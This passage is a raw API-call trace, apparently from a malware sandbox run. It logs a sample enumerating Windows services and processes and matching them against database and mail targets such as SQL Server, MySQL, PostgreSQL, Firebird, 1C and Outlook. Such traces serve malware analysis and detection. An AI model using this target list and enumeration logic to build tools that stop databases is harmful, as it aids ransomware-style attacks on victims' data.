lpString2="EventSystem") returned 1 [0238.385] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0238.385] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0238.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0238.385] lstrlenW (lpString="gpsvc") returned 5 [0238.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0238.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0238.385] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0238.385] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0238.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0238.385] lstrlenW (lpString="LanmanWorkstation") returned 17 [0238.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0238.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0238.386] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0238.386] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0238.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0238.386] lstrlenW (lpString="lmhosts") returned 7 [0238.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0238.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0238.386] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0238.386] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0238.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0238.386] lstrlenW (lpString="MMCSS") returned 5 [0238.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0238.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0238.387] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0238.387] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0238.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0238.387] lstrlenW (lpString="MpsSvc") returned 6 [0238.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0238.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0238.387] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0238.387] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0238.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0238.387] lstrlenW (lpString="NlaSvc") returned 6 [0238.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0238.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0238.388] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0238.388] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0238.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0238.388] lstrlenW (lpString="nsi") returned 3 [0238.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0238.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0238.388] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0238.388] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0238.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0238.388] lstrlenW (lpString="PcaSvc") returned 6 [0238.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0238.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0238.389] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0238.389] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0238.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0238.389] lstrlenW (lpString="PlugPlay") returned 8 [0238.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0238.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0238.389] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0238.389] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0238.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0238.389] lstrlenW (lpString="Power") returned 5 [0238.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0238.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0238.390] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0238.390] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0238.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0238.390] lstrlenW (lpString="ProfSvc") returned 7 [0238.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0238.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0238.390] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0238.390] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0238.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0238.390] lstrlenW (lpString="RpcEptMapper") returned 12 [0238.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0238.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0238.390] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0238.390] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0238.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0238.391] lstrlenW (lpString="RpcSs") returned 5 [0238.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0238.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0238.391] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0238.391] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0238.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0238.391] lstrlenW (lpString="SamSs") returned 5 [0238.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0238.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0238.391] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0238.392] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0238.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0238.392] lstrlenW (lpString="Schedule") returned 8 [0238.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0238.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0238.392] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0238.392] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0238.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0238.392] lstrlenW (lpString="SENS") returned 4 [0238.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0238.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0238.392] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0238.393] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0238.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0238.393] lstrlenW (lpString="ShellHWDetection") returned 16 [0238.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0238.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0238.393] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0238.393] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0238.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0238.393] lstrlenW (lpString="Spooler") returned 7 [0238.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0238.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0238.393] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0238.393] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0238.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0238.394] lstrlenW (lpString="SysMain") returned 7 [0238.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0238.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0238.394] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0238.394] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0238.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0238.394] lstrlenW (lpString="Themes") returned 6 [0238.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0238.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0238.394] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0238.394] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0238.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0238.394] lstrlenW (lpString="TrkWks") returned 6 [0238.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0238.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0238.395] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0238.395] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0238.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0238.395] lstrlenW (lpString="UxSms") returned 5 [0238.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0238.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0238.395] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0238.395] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0238.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0238.396] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42a0060 | out: hHeap=0x590000) returned 1 [0238.396] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3ac [0238.407] Process32FirstW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0238.408] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0238.410] lstrlenW (lpString="System") returned 6 [0238.410] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0238.410] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0238.410] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0238.410] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0238.410] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0238.410] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0238.410] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0238.410] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0238.411] lstrlenW (lpString="smss.exe") returned 8 [0238.411] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0238.411] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0238.411] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0238.412] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0238.412] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0238.412] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0238.412] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0238.412] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0238.413] lstrlenW (lpString="csrss.exe") returned 9 [0238.413] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0238.413] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0238.413] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0238.413] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0238.413] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0238.413] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0238.413] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0238.413] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0238.414] lstrlenW (lpString="wininit.exe") returned 11 [0238.414] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0238.415] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0238.415] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0238.415] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0238.415] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0238.415] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0238.415] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0238.415] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0238.416] lstrlenW (lpString="csrss.exe") returned 9 [0238.416] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0238.416] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0238.416] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0238.416] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0238.416] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0238.416] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0238.416] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0238.416] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0238.417] lstrlenW (lpString="winlogon.exe") returned 12 [0238.417] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0238.417] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0238.418] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0238.418] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0238.418] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0238.418] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0238.418] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0238.418] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0238.419] lstrlenW (lpString="services.exe") returned 12 [0238.419] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0238.419] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0238.419] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0238.419] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0238.419] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0238.419] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0238.419] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0238.419] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0238.420] lstrlenW (lpString="lsass.exe") returned 9 [0238.421] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0238.421] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0238.421] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0238.421] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0238.421] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0238.421] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0238.421] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0238.421] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0238.422] lstrlenW (lpString="lsm.exe") returned 7 [0238.422] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0238.422] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0238.422] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0238.422] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0238.423] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0238.423] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0238.423] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0238.423] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.424] lstrlenW (lpString="svchost.exe") returned 11 [0238.424] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0238.424] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0238.424] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0238.424] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0238.424] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0238.424] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0238.769] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0238.769] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.770] lstrlenW (lpString="svchost.exe") returned 11 [0238.770] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0238.770] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0238.770] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0238.770] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0238.770] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0238.770] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0238.770] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0238.770] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.771] lstrlenW (lpString="svchost.exe") returned 11 [0238.771] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0238.771] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0238.771] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0238.772] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0238.772] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0238.772] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0238.772] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0238.772] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.773] lstrlenW (lpString="svchost.exe") returned 11 [0238.773] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.774] lstrlenW (lpString="svchost.exe") returned 11 [0238.774] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0238.775] lstrlenW (lpString="audiodg.exe") returned 11 [0238.775] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.776] lstrlenW (lpString="svchost.exe") returned 11 [0238.777] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0238.777] lstrlenW (lpString="userinit.exe") returned 12 [0238.777] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0238.778] lstrlenW (lpString="explorer.exe") returned 12 [0238.778] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0238.779] lstrlenW (lpString="dwm.exe") returned 7 [0238.779] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.780] lstrlenW (lpString="svchost.exe") returned 11 [0238.780] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0238.782] lstrlenW (lpString="winhost.exe") returned 11 [0238.782] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0238.782] lstrlenW (lpString="spoolsv.exe") returned 11 [0238.783] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0238.784] lstrlenW (lpString="dllhost.exe") returned 11 [0238.784] Process32NextW (in: hSnapshot=0x3ac, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.785] lstrlenW (lpString="svchost.exe") returned 11 [0238.785] Process32NextW (in: 